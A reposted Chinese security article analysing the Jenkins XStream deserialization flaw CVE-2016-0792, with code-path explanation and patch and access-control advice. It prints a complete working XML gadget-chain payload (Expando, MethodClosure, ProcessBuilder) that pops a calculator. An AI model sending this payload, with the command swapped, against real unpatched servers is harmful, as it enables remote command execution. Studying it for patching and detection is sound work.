转载

Jenkins之Java反序列化漏洞分析(CVE-2016-0792)

Jenkins近日修复了一个可通过低权限用户调用API服务致使的命令执行漏洞:低权限用户通过构造一个恶意的XML文档并发送至服务端接口,使服务端解析时调用API执行外部命令。

XStream是一个流行的反序列化库,许多主流应用程序,如IRA、Confluence、Bamboo,和Jenkins等中都使用了该库,另外,它还支持多个主流库,如Spring和Struts 2等。

漏洞利用

由于Jenkins将Groovy文件放在类目录中,因此可以借助 XML文件 来利用该漏洞。有很多应用都使用XStream库,并且将Groovy文件放在类目录中,研究人员可以仿照此方法在很多开源应用中发现同样的漏洞。

<map>   <entry>     <groovy.util.Expando>       <expandoProperties>         <entry>           <string>hashCode</string>           <org.codehaus.groovy.runtime.MethodClosure>             <delegate class="groovy.util.Expando" reference="../../../.."/>             <owner class="java.lang.ProcessBuilder">               <command>                 <string>open</string>                 <string>/Applications/Calculator.app</string>               </command>               <redirectErrorStream>false</redirectErrorStream>             </owner>             <resolveStrategy>0</resolveStrategy>             <directive>0</directive>             <parameterTypes/>             <maximumNumberOfParameters>0</maximumNumberOfParameters>             <method>start</method>           </org.codehaus.groovy.runtime.MethodClosure>         </entry>       </expandoProperties>     </groovy.util.Expando>     <int>1</int>   </entry> </map>

下面来详细分析一下以上XML文件。

该XML文件的根节点是<map>。下列代码为XStream如何重建MapConverter.java文件中的map。

public Object unmarshal(...) {    Map map = (Map) createCollection(context.getRequiredType());    populateMap(reader, context, map);    return map; }

因此<map>的默认类型为java.util.HashMap,并且使用用户提供的条目进行填充,这些条目是<map>的直接子元素,按顺序排列如下:

<map>   <entry>     <key1/>     <value1/>   </entry>   <entry>     <key2/>     <value2/>   </entry> </map>

在XStream 代码 中的实现:

protected void populateMap(..., Map map) {   while (reader.hasMoreChildren()) {     reader.moveDown();      reader.moveDown();     Object key = readItem(reader, context, map);     reader.moveUp();      reader.moveDown();     Object value = readItem(reader, context, map);     reader.moveUp();      map.put(key, value);      reader.moveUp();   } }

用户提供的“key”和“value”变量读入,并传入HashMap.So文件中的put()函数:

public V put(K key, V value) {    if (key == null)      return putForNullKey(value);      int hash = hash(key.hashCode());   ... }

作为Map#put()调用的一部分,XStream间接触发causingkey.hashCode()函数的调用,这就是漏洞利用的切入点。如果我们能够更改部分类型的hashCode()函数,那么就可以执行一些恶意的操作。

我们将目标定为groovy.util.Expando文件,其中包含一个有趣的hashCode()实现:

public int hashCode() {   Object method = getProperties().get("hashCode");   if (method != null && method instanceof Closure) {     // invoke overridden hashCode closure method     Closure closure = (Closure) method;     closure.setDelegate(this);     Integer ret = (Integer) closure.call();     return ret.intValue();   } else {     return super.hashCode();   } }

以上代码的作用归结为:如果Expando文件中包含Closure类,并且该类可以计算出哈希值,那么就会调用Closure并返回它的输出值。我们要做的就是提供一个可以使用的Closure类。

因为Closure是抽象类,那么应该怎样定义其子类呢?我们可以定义MethodClosure类,一个可以调用任何类和方法的封装类。借此来调用java.lang.ProcessBuilder中的start()方法,来弹出一个计算器。调用的先后顺序为:

1、MapConverter#populateMap()calls HashMap#put()

2、HashMap#put()calls Expando#hashCode()

3、Expando#hashCode()calls MethodClosure#call()

4、MethodClosure#call()calls MethodClosure#doCall()

5、MethodClosure#doCall()calls InvokerHelper#invokeMethod()

6、InvokerHelper#invokeMethod()calls ProcessBuilder#start()

综合以上分析,我们可以得到完整的 XML文件 :

<map>   <!-- This Expando is our key in the root level Map -->   <groovy.util.Expando>      <expandoProperties>       <entry>         <!-- This property tells Expando to call our method on hashCode() -->         <string>hashCode</string>           <!-- This MethodClosure will pop a calculator when called -->           <org.codehaus.groovy.runtime.MethodClosure>             <delegate class="groovy.util.Expando" reference="../../../.."/>             <owner class="java.lang.ProcessBuilder">             <command>               <string>open</string>               <string>/Applications/Calculator.app</string>             </command>             <redirectErrorStream>false</redirectErrorStream>           </owner>           <resolveStrategy>0</resolveStrategy>           <directive>0</directive>           <parameterTypes/>           <maximumNumberOfParameters>0</maximumNumberOfParameters>           <!-- This is the name of the method to invoke on ProcessBuilder -->           <method>start</method>         </org.codehaus.groovy.runtime.MethodClosure>       </entry>     </expandoProperties>   </groovy.util.Expando>    <!-- This integer is our value for the only key-value. Can be anything. -->   <int>1</int> </map>

缓解

这已经不是第一次曝光jenkins的Java反序列化问题了,由于XStream库使用广泛,该漏洞可能影响到多个产品,以下为对jenkins用户的安全建议:

1、Jenkins已经发布了该漏洞的补丁,建议用户更新至最新版本Jenkins 1.650及以上版本,并且尽量保证jenkins账号不为弱口令;

2、网络管理员应该对jenkins实行访问控制,并且放入内网对外网不开放,同时禁止jenkins的匿名访问权限。

原文地址: contrastsecurity vul_wish编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

原文  http://www.freebuf.com/vuls/97659.html
正文到此结束
Loading...